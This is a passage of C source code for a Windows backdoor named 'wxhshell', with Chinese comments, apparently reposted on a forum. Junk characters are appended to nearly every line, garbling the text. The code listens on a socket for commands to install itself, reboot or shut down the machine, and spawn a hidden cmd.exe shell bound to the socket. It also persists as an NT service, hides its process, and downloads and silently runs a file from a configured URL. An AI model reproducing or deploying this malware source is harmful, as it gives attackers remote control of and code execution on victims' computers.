  else { f9ux+XQk9  
@)k/t>r(  
    switch(cmd[0]) { dxfF.\BFDn  
  /enlkZx=8  
  // 帮助 A:! _ &  
  case '?': { Uq/FH@E=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +L(|?|i8  
    break; q(xr5iuP_  
  } !1(*D*31  
  // 安装 a8nqzuI  
  case 'i': { GWd71ZtFO  
    if(Install()) W'lejOiw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &GYnGrw?@  
    else X\&CQiPS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6)=`&>9  
    break; +guCTGD:  
    } Jj%"  
  // 卸载 X6 E^5m  
  case 'r': { # `L?24%  
    if(Uninstall()) 9B3+$uP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k0r93 xa  
    else KEfN!6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9!} ?}`'_  
    break; Y]!WPJ`f2  
    } z H|YVg  
  // 显示 wxhshell 所在路径 R ?62g H  
  case 'p': { 2nra@  
    char svExeFile[MAX_PATH]; 0nr5(4h  
    strcpy(svExeFile,"\n\r"); xQUskjv/  
      strcat(svExeFile,ExeFile); 6&* z  
        send(wsh,svExeFile,strlen(svExeFile),0); 'Nkd *  
    break; xqSoE[<v  
    } iH a:6  
  // 重启 Fv_B(a  
  case 'b': { &c[ISc>N{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >;Ag7Ex  
    if(Boot(REBOOT)) Z1}@N/>>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <>v=jH|L  
    else { {"PIS&]tR  
    closesocket(wsh); :_8Nf1B+T  
    ExitThread(0); t1`.M$  
    } Talmc|h  
    break; O,PTY^  
    } 0?o<cC1Z  
  // 关机 rSa=NpFxLu  
  case 'd': { -bd'sv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ev Ye1Y-  
    if(Boot(SHUTDOWN)) 0fJz[;dV>n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z[Ah9tM%  
    else { NR3h|'eC  
    closesocket(wsh); &>f]  
    ExitThread(0); t i&!_  
    } icK$W2<8mg  
    break; gb{8SG5ac  
    } ~2;\)/E\  
  // 获取shell &#zx/$  
  case 's': { i@`qam   
    CmdShell(wsh); 5<XWbGW  
    closesocket(wsh); h_HPmh5  
    ExitThread(0); S3UJ)@ E  
    break; ) 7C+hQe  
  } XL7||9,(h  
  // 退出 fHODS9HQ  
  case 'x': { esM r@Oc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~8&P*oFC  
    CloseIt(wsh); k:F{U^!p|  
    break; I5@8=rFk  
    } NTo[di\_  
  // 离开 eI9#JM|2  
  case 'q': { pAws{3(Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9m.MGJbQ_f  
    closesocket(wsh); _+j#.o>  
    WSACleanup(); Cg(&WJw(ep  
    exit(1); LGK&&srJs  
    break; J4x|Afp  
        } )Ma/] eZ^I  
  } _T_6Yl&cf)  
  } aoQ$"PF9  
Jj/}GVNc7  
  // 提示信息 \.'[!GE*c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nYR#Q|  
} Z~w2m6;s  
  } -'F27])  
LzxO=+=9!q  
  return; 8aJJ??o{  
} :p%#U$S4  
on;>iKta9  
// shell模块句柄 jgiS/oW  
int CmdShell(SOCKET sock) wPX^P  
{ AB{zkEuK  
STARTUPINFO si; CH#K0hi  
ZeroMemory(&si,sizeof(si)); XG!6[o;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^f57qc3nF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \H9:%Tlp~4  
PROCESS_INFORMATION ProcessInfo; JVGTmS[3  
char cmdline[]="cmd"; artn _  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F9Af{*Jw?x  
  return 0; FQ> kTm`d  
} :+ mULUi  
1]9w9! j  
// 自身启动模式 (S4HU_,88  
int StartFromService(void) @q`T#vd  
{ PD^G$LT  
typedef struct U{j4FlB  
{ fs:yx'mxV  
  DWORD ExitStatus; ( et W4p  
  DWORD PebBaseAddress; ak-agH  
  DWORD AffinityMask; RO|8NC<oj  
  DWORD BasePriority; lT*@f39~g  
  ULONG UniqueProcessId; m"-kkH{I  
  ULONG InheritedFromUniqueProcessId; LF @_|o I  
}   PROCESS_BASIC_INFORMATION; SQhVdYU1'  
* nFzfV  
PROCNTQSIP NtQueryInformationProcess; 6)p8BUft  
$2,tT;50g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )[J @s=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W9pY=9]p+  
IuT)?S7O*k  
  HANDLE             hProcess; L N Fe7<y  
  PROCESS_BASIC_INFORMATION pbi; 5eE\ X /  
E p;i],}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &F/-%l!  
  if(NULL == hInst ) return 0; o&&`_"18  
2Wu`Dp;&l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?AD- n6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y/ Bo 4fM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6T|Z4f|  
39hep8+  
  if (!NtQueryInformationProcess) return 0; /Jc{aw  
hRRxOr#*$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FwlD P  
  if(!hProcess) return 0; C0 KFN  
bS2g4]$'po  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _/z_ X  
>Oj$ Dn=  
  CloseHandle(hProcess); j6EF0/_|e  
K!Fem6R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); < K!r\^  
if(hProcess==NULL) return 0; e"wz b< b  
;"u,G!  
HMODULE hMod; Q,JH/X  
char procName[255]; " acI:cl?,  
unsigned long cbNeeded; l"A/6r!Dp  
z,$uIv}'@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0 K#|11r  
|'1.a jxw  
  CloseHandle(hProcess); 87[ ,.W  
;akW i]  
if(strstr(procName,"services")) return 1; // 以服务启动 g_IcF><F  
km C0.\  
  return 0; // 注册表启动 _hyqHvP  
} ULxQyY;32  
i+mU(/l2{  
// 主模块 zl6]N3+4  
int StartWxhshell(LPSTR lpCmdLine) >n3GvZ5%  
{ #7Q9^rG  
  SOCKET wsl; b9vud r  
BOOL val=TRUE;  q/ Y4/  
  int port=0; )W 5g-@  
  struct sockaddr_in door; ]o]`X$n  
b#p0s?*  
  if(wscfg.ws_autoins) Install(); lAM)X&}0  
HBR/" m  
port=atoi(lpCmdLine); G gA:;f46  
*X$qgSW  
if(port<=0) port=wscfg.ws_port; ^8~TsK~  
hWbu Z%  
  WSADATA data; &4|]VOf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0.wF2!V.  
] 9C)F*r7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nVWU\$Ft  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l<uI-RX "  
  door.sin_family = AF_INET; 0@b<?Ms9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9&=%shOc+x  
  door.sin_port = htons(port); h ChO  
JUA%l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5]]QW3  
closesocket(wsl); %A~. NNbS  
return 1; _ps4-<ugC  
} 5)S;R,  
jrN 5l1np  
  if(listen(wsl,2) == INVALID_SOCKET) { !p+rU?  
closesocket(wsl); hs;|,r  
return 1; \G v\&_  
} y~#5!:Be  
  Wxhshell(wsl); Q+K]:c  
  WSACleanup(); j -o  
~h8k4eM  
return 0; k7*-v/ *S  
UdkNb}L  
} N)E'k%?,  
Et*LbU  
// 以NT服务方式启动 Q$.CtECo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cp8w _TPU  
{ {)r[?%FMgV  
DWORD   status = 0; adoK-bSt  
  DWORD   specificError = 0xfffffff; wjX0r7^@  
bu pW*fD:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AM!P?${a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5?>Q[a.Ne  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EMH-[EBx  
  serviceStatus.dwWin32ExitCode     = 0; 7SkW!5  
  serviceStatus.dwServiceSpecificExitCode = 0; Z%.L d2Q{  
  serviceStatus.dwCheckPoint       = 0; 4xs>X7  
  serviceStatus.dwWaitHint       = 0; NPBOG1q%  
kH0kf-4\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M-QQ  
  if (hServiceStatusHandle==0) return; {yf, :5  
L~|_)4  
status = GetLastError(); T[},6I|!  
  if (status!=NO_ERROR) fF/;BSq'  
{ , 82?kky  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7[kDc-  
    serviceStatus.dwCheckPoint       = 0; E(S$Q^  
    serviceStatus.dwWaitHint       = 0; !_o1;GzK  
    serviceStatus.dwWin32ExitCode     = status; vy5{Vm".4  
    serviceStatus.dwServiceSpecificExitCode = specificError; =hh,yi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pvkr$ou  
    return; +)( "!@  
  } 2+(SR.oGq  
[F *hjGLc}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v%c--cO(S4  
  serviceStatus.dwCheckPoint       = 0; JKYl  
  serviceStatus.dwWaitHint       = 0; QE;,mC>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &s.-p_4w^D  
} `$;%%/tx  
g fv?#mp  
// 处理NT服务事件,比如:启动、停止 w~9Y=|YI7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 14-uy.0[  
{ v>Kv!OY:c  
switch(fdwControl) :,^x?'HK  
{ pi*?fUg!W  
case SERVICE_CONTROL_STOP: :(jovse\  
  serviceStatus.dwWin32ExitCode = 0; jvE&%|Ngw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]mO7O+  
  serviceStatus.dwCheckPoint   = 0; P'5Q}7  
  serviceStatus.dwWaitHint     = 0; L|2WTyMU  
  { <M3&\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  #|l#  
  } <^A1.o< GN  
  return; eNt1P`2[  
case SERVICE_CONTROL_PAUSE: 7tT L,Nxe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cC`PmDGq  
  break; ?0+J"FH# W  
case SERVICE_CONTROL_CONTINUE: ;&RHc#1F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :?gk =JH:  
  break; A}03s6^i;  
case SERVICE_CONTROL_INTERROGATE: +u7nx  
  break; u@[JX1&3"n  
}; =G/`r!r*0I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5fhe{d"si  
} 3:P "6mN  
9d,2d5Y  
// 标准应用程序主函数 s\1c.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?[Qxq34  
{ 0(!=N 1l  
|f&=9%  
// 获取操作系统版本 p8u -3  
OsIsNt=GetOsVer(); o>4GtvA*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a s?)6  
M$GZK'%  
  // 从命令行安装 4ze4{a^  
  if(strpbrk(lpCmdLine,"iI")) Install(); P EAo'63$  
:E9@9>3S  
  // 下载执行文件 {BJn9B  
if(wscfg.ws_downexe) { 7(= 09z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |/35c0IM  
  WinExec(wscfg.ws_filenam,SW_HIDE); V\o& {7!  
} uzUZuJ  
Gl>_C@n0h  
if(!OsIsNt) { 1{X ;&y  
// 如果时win9x,隐藏进程并且设置为注册表启动 nqyB,vv0  
HideProc(); FY;R0+N  
StartWxhshell(lpCmdLine); )y}W=Q>T  
} '&$xLZ8  
else Tj*Vk $}0  
  if(StartFromService()) okZDxg`6  
  // 以服务方式启动 %CiZ>`5n#  
  StartServiceCtrlDispatcher(DispatchTable); J'>i3e Lq  
else f"G?#dW/1  
  // 普通方式启动 j5>3Td.  
  StartWxhshell(lpCmdLine); $]yHk  
ww"HV;i  
return 0; ${F] N }  
}
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只看该作者 1 发表于: 2006-10-10
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